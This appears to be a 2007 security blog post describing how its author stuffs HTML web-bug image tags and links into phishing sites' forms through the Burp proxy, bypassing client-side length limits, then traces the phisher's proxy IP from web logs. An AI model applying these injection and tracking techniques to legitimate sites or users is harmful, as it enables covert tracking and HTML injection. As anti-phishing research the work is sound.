I’ve posted before about how phishers and others that are on the “other” side of computer security ironically do not practice very good coding techniques. To borrow one of Dave Aitel’s ideas from a few weeks ago, hackers often do not practice very good operational security, since it’s not a good fit with their aggressive nature. The same idea applies equally well (if not better) to phishers. Phishing is a numbers-game for those involved, and when the choice in front of the phishers is between secure software and processes, or spending that time pushing out more emails and sites, the phishers will always pick the latter. It’s hard for them to justify the additional time, when that time could be spent making more money.
A while back, I came up with and experimented with a technique for gaining more information about phishers’ operations. The idea is based off of web bugs that are normally used to track users through emails or web site visits. A classic example of a web bug is an HTML email, containing a reference to 1×1 transparent .GIF file located on the senders’ web server. If the filename of that image is unique to that email, and the recipient’s email client renders the HTML and retrieves the image, then the sender can examine their web server logs to see if and when the recipient opened the email. Not only that, but the web server logs will also indicate the IP address, and possibly some information about the email client or web browser being used.
To apply this to phishing, I simply decided to stuff HTML image tags and links and such into phishing web sites’ forms. The idea is, if the data is being logged to or emailed to any type of system that renders the HTML, there is the possibility that the phishers will inadvertently retrieve the web bugs along with their data. At the very least, they may become curious about the URLs showing up in their data and try to see what’s there. On a lark, I created unique images and stuffed web bugs and links into a few different phishing sites the morning that I came up with the idea. I wound up getting hits back for some of them. So it was a promising idea.
I have passed the idea along to a masters degree student here who is currently working on refining it and collecting larger amounts of data for his thesis. Along the way, I co-authored a paper with him on the topic. He’s working on automating it and such now, however I still play with the idea from time to time.
Last night I received a phishing email that targeted Runescape (an MMORPG) players. This outside of the norm of what I usually receive, so I figured it would be fun to try baiting it with some web bugs. I set up a unique-URL image (a small McGrew Security logo, lol), and php redirecting page, and then set about baiting the site. The following images show the forms on this Runescape phishing site:
Maybe they didn’t design that with Firefox in mind. As I said, phishers can be very sloppy 
. At any rate, to stuff the appropriate image and link tags in, we can’t simply use the stock web browser, as they have the forms set to limit the number of characters input into each field (chances are, their server-side code doesn’t check these bounds). We wouldn’t be able to fit the whole tag and URL into them normally. There are extensions for firefox that allow you to remove such restrictions in a page, but since I’ve already covered the Burp Suite proxy in a previous blog entry, I’ll just use it:
The same technique is applied to the second page’s worth of forms, alternating between putting an image tag that will render automatically (if all goes well) and links (which a curious phisher might decide to click on). You then pass it all along through Burp, and sit back and wait, grepping through your web logs for someone accessing those URLs.
About 3 hours later, I had a hit!
82.135.214.208 - - [30/Apr/2007:02:22:25 -0400] "GET /XXXXXXXXXXXXXX HTTP/1.1" 200 2354 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; MEGAUPLOAD 1.0)"
So, from this alone we get a few bits of information:
- IP Address – (Where is it? Is it a proxy? More on this in a bit, read on!)
- Date – (Response time)
- User Agent – IE 6 on a Windows XP machine. Apparently they either have a MegaUpload account or have added “MEGAUPLOAD 1.0″ to their user agent string in order to make MegaUpload think they have an account. Either way this unique bit makes it more likely that I’d be able to pick this host out of the logs if it were to come back to this site as another IP address.
Back to the IP address, it reverse DNS’s to “82-135-214-208.ip.zebra.lt”, and is in Lithuania. If you do a google search for the IP address in quotes (a similar technique as what my YaSweep/GooSweep app uses for larger ranges), you’ll see that it has been used for phishing and spamming in the past. Project Honeypot has a very informative page on it. Looking back at the email that I received originally, it turns out it was sent from the same IP address.
Poking at the host a bit indicates that it’s likely a Linux machine, with what appears to be a tcpwrapped proxy. The Windows user agent coming from a Linux machine also indicates that it is a proxy, and it’s apparently not an open one. It’s a machine that is, one way or another, under the control of the phisher and used to anonymize their actions. That’s at least something this attacker did well for themselves to do. Many phishers view their resulting data on their own computers, unproxied, and will give away their actual workstation’s IP address, if their procedure is vulnerable to this kind of attack.
So there you have it! Information gathering on phishers/blackhats. It’s a fun concept. It would be very interesting to extend it to include javascript, and other attacks on the different ways phishing data is processed.
. I thought it was a neat opportunity to show off how to attack bad access controls, so I decided to make this post about it as a tutorial on how to use PortSwigger’s excellent 
Recent Comments